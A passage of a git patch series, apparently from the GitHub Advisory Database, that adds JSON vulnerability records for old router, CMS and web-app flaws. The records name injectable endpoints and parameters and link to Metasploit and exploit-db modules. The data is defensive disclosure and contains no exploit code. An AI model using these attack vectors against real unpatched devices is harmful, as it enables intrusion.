+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-10044"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/openemr/openemr"
+ },
+ {
+ "type": "WEB",
+ "url": "https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.exploit-db.com/exploits/28329"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.exploit-db.com/exploits/28408"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.open-emr.org"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.vulncheck.com/advisories/openemr-sqli-priv-esc-rce"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-89"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T21:15:26Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-gg53-3xxr-77gw/GHSA-gg53-3xxr-77gw.json b/advisories/unreviewed/2025/08/GHSA-gg53-3xxr-77gw/GHSA-gg53-3xxr-77gw.json
new file mode 100644
index 0000000000000..47ca7d3e00bba
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-gg53-3xxr-77gw/GHSA-gg53-3xxr-77gw.json
@@ -0,0 +1,52 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-gg53-3xxr-77gw",
+ "modified": "2025-08-01T21:31:07Z",
+ "published": "2025-08-01T21:31:07Z",
+ "aliases": [
+ "CVE-2013-10058"
+ ],
+ "details": "An authenticated OS command injection vulnerability exists in various Linksys router models (tested on WRT160Nv2) running firmware version v2.0.03 via the apply.cgi endpoint. The web interface fails to properly sanitize user-supplied input passed to the ping_size parameter during diagnostic operations. An attacker with valid credentials can inject arbitrary shell commands, enabling remote code execution.",
+ "severity": [
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-10058"
+ },
+ {
+ "type": "WEB",
+ "url": "https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb"
+ },
+ {
+ "type": "WEB",
+ "url": "https://web.archive.org/web/20140830181242/http://www.s3cur1ty.de/m1adv2013-012"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.exploit-db.com/exploits/24478"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.exploit-db.com/exploits/25608"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.vulncheck.com/advisories/linksys-legacy-routers-remote-command-injection"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-78"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T21:15:27Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-gwv8-67p9-8v37/GHSA-gwv8-67p9-8v37.json b/advisories/unreviewed/2025/08/GHSA-gwv8-67p9-8v37/GHSA-gwv8-67p9-8v37.json
new file mode 100644
index 0000000000000..b3bc20a47c02a
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-gwv8-67p9-8v37/GHSA-gwv8-67p9-8v37.json
@@ -0,0 +1,48 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-gwv8-67p9-8v37",
+ "modified": "2025-08-01T21:31:07Z",
+ "published": "2025-08-01T21:31:07Z",
+ "aliases": [
+ "CVE-2013-10055"
+ ],
+ "details": "An unauthenticated arbitrary file upload vulnerability exists in Havalite CMS version 1.1.7 (and possibly earlier) in the upload.php script. The application fails to enforce proper file extension validation and authentication checks, allowing remote attackers to upload malicious PHP files via a crafted multipart/form-data POST request. Once uploaded, the attacker can access the file directly under havalite/tmp/files/, resulting in remote code execution.",
+ "severity": [
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-10055"
+ },
+ {
+ "type": "WEB",
+ "url": "https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/unix/webapp/havalite_upload_exec.rb"
+ },
+ {
+ "type": "WEB",
+ "url": "https://sourceforge.net/projects/havalite"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.exploit-db.com/exploits/26243"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.vulncheck.com/advisories/havalite-cms-arbitary-file-upload-rce"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-434"
+ ],
+ "severity": "CRITICAL",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T21:15:27Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-h72m-m9r4-r78c/GHSA-h72m-m9r4-r78c.json b/advisories/unreviewed/2025/08/GHSA-h72m-m9r4-r78c/GHSA-h72m-m9r4-r78c.json
new file mode 100644
index 0000000000000..9bbd5d1a5602a
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-h72m-m9r4-r78c/GHSA-h72m-m9r4-r78c.json
@@ -0,0 +1,48 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-h72m-m9r4-r78c",
+ "modified": "2025-08-01T21:31:07Z",
+ "published": "2025-08-01T21:31:07Z",
+ "aliases": [
+ "CVE-2013-10063"
+ ],
+ "details": "A path traversal vulnerability exists in the Netgear SPH200D Skype phone firmware versions <= 1.0.4.80 in its embedded web server. Authenticated attackers can exploit crafted GET requests to access arbitrary files outside the web root by injecting traversal sequences. This can expose sensitive system files and configuration data.",
+ "severity": [
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-10063"
+ },
+ {
+ "type": "WEB",
+ "url": "https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/auxiliary/scanner/http/netgear_sph200d_traversal.rb"
+ },
+ {
+ "type": "WEB",
+ "url": "https://web.archive.org/web/20130207034706/http://www.s3cur1ty.de/m1adv2013-002"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.exploit-db.com/exploits/24441"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.vulncheck.com/advisories/netgear-sph200d-path-traversal-via-http-get"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-22"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T21:15:28Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-jr9p-69mv-mf2m/GHSA-jr9p-69mv-mf2m.json b/advisories/unreviewed/2025/08/GHSA-jr9p-69mv-mf2m/GHSA-jr9p-69mv-mf2m.json
new file mode 100644
index 0000000000000..7434b16ea04ad
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-jr9p-69mv-mf2m/GHSA-jr9p-69mv-mf2m.json
@@ -0,0 +1,52 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-jr9p-69mv-mf2m",
+ "modified": "2025-08-01T21:31:07Z",
+ "published": "2025-08-01T21:31:07Z",
+ "aliases": [
+ "CVE-2013-10061"
+ ],
+ "details": "An authenticated OS command injection vulnerability exists in Netgear routers (tested on the DGN1000B model firmware versions 1.1.00.24 and 1.1.00.45) via the TimeToLive parameter in the setup.cgi endpoint. The vulnerability arises from improper input neutralization, enabling command injection through crafted POST requests. This flaw enables remote attackers to deploy payloads or manipulate system state post-authentication.",
+ "severity": [
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-10061"
+ },
+ {
+ "type": "WEB",
+ "url": "https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb"
+ },
+ {
+ "type": "WEB",
+ "url": "https://web.archive.org/web/20150218074318/http://www.s3cur1ty.de/m1adv2013-005"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.exploit-db.com/exploits/24464"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.exploit-db.com/exploits/24931"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.vulncheck.com/advisories/netgear-legacy-routers-rce-2"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-78"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T21:15:28Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-mgp2-v3xv-x9v3/GHSA-mgp2-v3xv-x9v3.json b/advisories/unreviewed/2025/08/GHSA-mgp2-v3xv-x9v3/GHSA-mgp2-v3xv-x9v3.json
new file mode 100644
index 0000000000000..922590bbb2239
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-mgp2-v3xv-x9v3/GHSA-mgp2-v3xv-x9v3.json
@@ -0,0 +1,48 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-mgp2-v3xv-x9v3",
+ "modified": "2025-08-01T21:31:06Z",
+ "published": "2025-08-01T21:31:06Z",
+ "aliases": [
+ "CVE-2013-10047"
+ ],
+ "details": "An unrestricted file upload vulnerability exists in MiniWeb HTTP Server <= Build 300 that allows unauthenticated remote attackers to upload arbitrary files to the server’s filesystem. By abusing the upload handler and crafting a traversal path, an attacker can place a malicious .exe in system32, followed by a .mof file in the WMI directory. This triggers execution of the payload with SYSTEM privileges via the Windows Management Instrumentation service. The exploit is only viable on Windows versions prior to Vista.",
+ "severity": [
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-10047"
+ },
+ {
+ "type": "WEB",
+ "url": "https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/windows/http/miniweb_upload_wbem.rb"
+ },
+ {
+ "type": "WEB",
+ "url": "https://sourceforge.net/projects/miniweb"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.exploit-db.com/exploits/27607"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.vulncheck.com/advisories/miniweb-arbitrary-file-upload"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-434"
+ ],
+ "severity": "CRITICAL",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T21:15:26Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-vv4j-q4m2-9gr7/GHSA-vv4j-q4m2-9gr7.json b/advisories/unreviewed/2025/08/GHSA-vv4j-q4m2-9gr7/GHSA-vv4j-q4m2-9gr7.json
new file mode 100644
index 0000000000000..a305ea7bf4999
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-vv4j-q4m2-9gr7/GHSA-vv4j-q4m2-9gr7.json
@@ -0,0 +1,48 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-vv4j-q4m2-9gr7",
+ "modified": "2025-08-01T21:31:06Z",
+ "published": "2025-08-01T21:31:06Z",
+ "aliases": [
+ "CVE-2013-10051"
+ ],
+ "details": "A remote PHP code execution vulnerability exists in InstantCMS version 1.6 and earlier due to unsafe use of eval() within the search view handler. Specifically, user-supplied input passed via the look parameter is concatenated into a PHP expression and executed without proper sanitation. A remote attacker can exploit this flaw by sending a crafted HTTP GET request with a base64-encoded payload in the Cmd header, resulting in arbitrary PHP code execution within the context of the web server.",
+ "severity": [
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-10051"
+ },
+ {
+ "type": "WEB",
+ "url": "https://packetstorm.news/files/id/122176"
+ },
+ {
+ "type": "WEB",
+ "url": "https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/unix/webapp/instantcms_exec.rb"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.exploit-db.com/exploits/26622"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.vulncheck.com/advisories/instantcms-remote-php-code-execution"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-95"
+ ],
+ "severity": "CRITICAL",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T21:15:27Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-w7gc-gxjh-pg78/GHSA-w7gc-gxjh-pg78.json b/advisories/unreviewed/2025/08/GHSA-w7gc-gxjh-pg78/GHSA-w7gc-gxjh-pg78.json
new file mode 100644
index 0000000000000..680027745c6b0
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-w7gc-gxjh-pg78/GHSA-w7gc-gxjh-pg78.json
@@ -0,0 +1,52 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-w7gc-gxjh-pg78",
+ "modified": "2025-08-01T21:31:07Z",
+ "published": "2025-08-01T21:31:06Z",
+ "aliases": [
+ "CVE-2013-10048"
+ ],
+ "details": "An OS command injection vulnerability exists in various legacy D-Link routers—including DIR-300 rev B and DIR-600 (firmware ≤ 2.13 and ≤ 2.14b01, respectively)—due to improper input handling in the unauthenticated command.php endpoint. By sending specially crafted POST requests, a remote attacker can execute arbitrary shell commands with root privileges, allowing full takeover of the device. This includes launching services such as Telnet, exfiltrating credentials, modifying system configuration, and disrupting availability. The flaw stems from the lack of authentication and inadequate sanitation of the cmd parameter.",
+ "severity": [
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-10048"
+ },
+ {
+ "type": "WEB",
+ "url": "https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb"
+ },
+ {
+ "type": "WEB",
+ "url": "https://web.archive.org/web/20131022221648/http://www.s3cur1ty.de/m1adv2013-003"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.exploit-db.com/exploits/24453"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.exploit-db.com/exploits/27528"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.vulncheck.com/advisories/d-link-legacy-unauth-rce"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-78"
+ ],
+ "severity": "CRITICAL",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T21:15:26Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-xcrc-5423-m358/GHSA-xcrc-5423-m358.json b/advisories/unreviewed/2025/08/GHSA-xcrc-5423-m358/GHSA-xcrc-5423-m358.json
new file mode 100644
index 0000000000000..ac055e906cabc
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-xcrc-5423-m358/GHSA-xcrc-5423-m358.json
@@ -0,0 +1,48 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-xcrc-5423-m358",
+ "modified": "2025-08-01T21:31:07Z",
+ "published": "2025-08-01T21:31:07Z",
+ "aliases": [
+ "CVE-2013-10053"
+ ],
+ "details": "A remote command execution vulnerability exists in ZPanel version 10.0.0.2 in its htpasswd module. When creating .htaccess files, the inHTUsername field is passed unsanitized to a system() call that invokes the system’s htpasswd binary. By injecting shell metacharacters into the username field, an authenticated attacker can execute arbitrary system commands. Exploitation requires a valid ZPanel account—such as one in the default Users, Resellers, or Administrators groups—but no elevated privileges.",
+ "severity": [
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-10053"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/zpanel/zpanelx"
+ },
+ {
+ "type": "WEB",
+ "url": "https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/unix/webapp/zpanel_username_exec.rb"
+ },
+ {
+ "type": "WEB",
+ "url": "https://web.archive.org/web/20130617014355/http://forums.zpanelcp.com/showthread.php?27898-Serious-Remote-Execution-Exploit-in-Zpanel-10-0-0-2"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.vulncheck.com/advisories/zpanel-htpasswd-module-username-command-execution"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-78"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T21:15:27Z"
+ }
+}
\ No newline at end of file
From 178d7b8fbbf780533bab4cf45a875269c9277631 Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
<45398580+advisory-database[bot]@users.noreply.github.com>
Date: Sat, 2 Aug 2025 00:32:47 +0000
Subject: [PATCH 308/323] Publish Advisories
GHSA-h28c-39h5-c348
GHSA-jrvp-6f3w-jhh7
GHSA-vwv7-36jv-h55v
GHSA-p48p-6mxj-w7jx
---
.../GHSA-h28c-39h5-c348.json | 6 +-
.../GHSA-jrvp-6f3w-jhh7.json | 3 +-
.../GHSA-vwv7-36jv-h55v.json | 9 ++-
.../GHSA-p48p-6mxj-w7jx.json | 64 +++++++++++++++++++
4 files changed, 78 insertions(+), 4 deletions(-)
create mode 100644 advisories/unreviewed/2025/08/GHSA-p48p-6mxj-w7jx/GHSA-p48p-6mxj-w7jx.json
diff --git a/advisories/unreviewed/2025/05/GHSA-h28c-39h5-c348/GHSA-h28c-39h5-c348.json b/advisories/unreviewed/2025/05/GHSA-h28c-39h5-c348/GHSA-h28c-39h5-c348.json
index 3342623d72d6a..6cbed91fcf3b1 100644
--- a/advisories/unreviewed/2025/05/GHSA-h28c-39h5-c348/GHSA-h28c-39h5-c348.json
+++ b/advisories/unreviewed/2025/05/GHSA-h28c-39h5-c348/GHSA-h28c-39h5-c348.json
@@ -1,13 +1,17 @@
{
"schema_version": "1.4.0",
"id": "GHSA-h28c-39h5-c348",
- "modified": "2025-05-05T18:32:53Z",
+ "modified": "2025-08-02T00:31:08Z",
"published": "2025-05-05T18:32:53Z",
"aliases": [
"CVE-2025-0217"
],
"details": "BeyondTrust Privileged Remote Access (PRA) versions prior to 25.1 are vulnerable to a local authentication bypass. A local authenticated attacker can view the connection details of a ShellJump session that was initiated with external tools, allowing unauthorized access to connected sessions.",
"severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
+ },
{
"type": "CVSS_V4",
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
diff --git a/advisories/unreviewed/2025/06/GHSA-jrvp-6f3w-jhh7/GHSA-jrvp-6f3w-jhh7.json b/advisories/unreviewed/2025/06/GHSA-jrvp-6f3w-jhh7/GHSA-jrvp-6f3w-jhh7.json
index 9e6986f76796b..2ba345d606c00 100644
--- a/advisories/unreviewed/2025/06/GHSA-jrvp-6f3w-jhh7/GHSA-jrvp-6f3w-jhh7.json
+++ b/advisories/unreviewed/2025/06/GHSA-jrvp-6f3w-jhh7/GHSA-jrvp-6f3w-jhh7.json
@@ -54,7 +54,8 @@
],
"database_specific": {
"cwe_ids": [
- "CWE-119"
+ "CWE-119",
+ "CWE-120"
],
"severity": "HIGH",
"github_reviewed": false,
diff --git a/advisories/unreviewed/2025/06/GHSA-vwv7-36jv-h55v/GHSA-vwv7-36jv-h55v.json b/advisories/unreviewed/2025/06/GHSA-vwv7-36jv-h55v/GHSA-vwv7-36jv-h55v.json
index 264a8316a17e3..171c6e165f591 100644
--- a/advisories/unreviewed/2025/06/GHSA-vwv7-36jv-h55v/GHSA-vwv7-36jv-h55v.json
+++ b/advisories/unreviewed/2025/06/GHSA-vwv7-36jv-h55v/GHSA-vwv7-36jv-h55v.json
@@ -1,13 +1,17 @@
{
"schema_version": "1.4.0",
"id": "GHSA-vwv7-36jv-h55v",
- "modified": "2025-06-12T09:30:32Z",
+ "modified": "2025-08-02T00:31:08Z",
"published": "2025-06-12T09:30:32Z",
"aliases": [
"CVE-2025-4613"
],
"details": "Path traversal in Google Web Designer's template handling versions prior to 16.3.0.0407 on Windows allows attacker to achieve remote code execution by tricking users into downloading a malicious ad template",
"severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
+ },
{
"type": "CVSS_V4",
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:A/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:N/R:U/V:D/RE:L/U:X"
@@ -26,7 +30,8 @@
],
"database_specific": {
"cwe_ids": [
- "CWE-20"
+ "CWE-20",
+ "CWE-22"
],
"severity": "HIGH",
"github_reviewed": false,
diff --git a/advisories/unreviewed/2025/08/GHSA-p48p-6mxj-w7jx/GHSA-p48p-6mxj-w7jx.json b/advisories/unreviewed/2025/08/GHSA-p48p-6mxj-w7jx/GHSA-p48p-6mxj-w7jx.json
new file mode 100644
index 0000000000000..858f25c1a4196
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-p48p-6mxj-w7jx/GHSA-p48p-6mxj-w7jx.json
@@ -0,0 +1,64 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-p48p-6mxj-w7jx",
+ "modified": "2025-08-02T00:31:08Z",
+ "published": "2025-08-02T00:31:08Z",
+ "aliases": [
+ "CVE-2024-13978"
+ ],
+ "details": "A vulnerability was found in LibTIFF up to 4.7.0. It has been declared as problematic. Affected by this vulnerability is the function t2p_read_tiff_init of the file tools/tiff2pdf.c of the component fax2ps. The manipulation leads to null pointer dereference. The attack needs to be approached locally. The complexity of an attack is rather high. The exploitation appears to be difficult. The patch is named 2ebfffb0e8836bfb1cd7d85c059cd285c59761a4. It is recommended to apply a patch to fix this issue.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L"
+ },
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13978"
+ },
+ {
+ "type": "WEB",
+ "url": "https://gitlab.com/libtiff/libtiff/-/commit/2ebfffb0e8836bfb1cd7d85c059cd285c59761a4"
+ },
+ {
+ "type": "WEB",
+ "url": "https://gitlab.com/libtiff/libtiff/-/issues/649"
+ },
+ {
+ "type": "WEB",
+ "url": "https://gitlab.com/libtiff/libtiff/-/merge_requests/667"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?ctiid.318355"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?id.318355"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?submit.624562"
+ },
+ {
+ "type": "WEB",
+ "url": "http://www.libtiff.org"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-404"
+ ],
+ "severity": "LOW",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T22:15:25Z"
+ }
+}
\ No newline at end of file
From 037bfb804ba396a01823db4190c8613edd5ff97f Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
<45398580+advisory-database[bot]@users.noreply.github.com>
Date: Sat, 2 Aug 2025 03:33:32 +0000
Subject: [PATCH 309/323] Publish Advisories
GHSA-pr3f-84fh-7r83
GHSA-x33w-hjv7-gpx7
GHSA-7rxx-x775-hwq2
GHSA-frxx-4wv8-gw23
GHSA-v5qq-h69f-g539
---
.../GHSA-pr3f-84fh-7r83.json | 2 +-
.../GHSA-x33w-hjv7-gpx7.json | 2 +-
.../GHSA-7rxx-x775-hwq2.json | 29 +++++++++++++++++++
.../GHSA-frxx-4wv8-gw23.json | 29 +++++++++++++++++++
.../GHSA-v5qq-h69f-g539.json | 29 +++++++++++++++++++
5 files changed, 89 insertions(+), 2 deletions(-)
create mode 100644 advisories/unreviewed/2025/08/GHSA-7rxx-x775-hwq2/GHSA-7rxx-x775-hwq2.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-frxx-4wv8-gw23/GHSA-frxx-4wv8-gw23.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-v5qq-h69f-g539/GHSA-v5qq-h69f-g539.json
diff --git a/advisories/unreviewed/2025/07/GHSA-pr3f-84fh-7r83/GHSA-pr3f-84fh-7r83.json b/advisories/unreviewed/2025/07/GHSA-pr3f-84fh-7r83/GHSA-pr3f-84fh-7r83.json
index 98ff7cae7d06c..a6f1d21f716b7 100644
--- a/advisories/unreviewed/2025/07/GHSA-pr3f-84fh-7r83/GHSA-pr3f-84fh-7r83.json
+++ b/advisories/unreviewed/2025/07/GHSA-pr3f-84fh-7r83/GHSA-pr3f-84fh-7r83.json
@@ -1,7 +1,7 @@
{
"schema_version": "1.4.0",
"id": "GHSA-pr3f-84fh-7r83",
- "modified": "2025-07-18T21:30:29Z",
+ "modified": "2025-08-02T03:31:20Z",
"published": "2025-07-18T21:30:29Z",
"aliases": [
"CVE-2025-33014"
diff --git a/advisories/unreviewed/2025/07/GHSA-x33w-hjv7-gpx7/GHSA-x33w-hjv7-gpx7.json b/advisories/unreviewed/2025/07/GHSA-x33w-hjv7-gpx7/GHSA-x33w-hjv7-gpx7.json
index 595842d770384..3a8ecb4a32e6a 100644
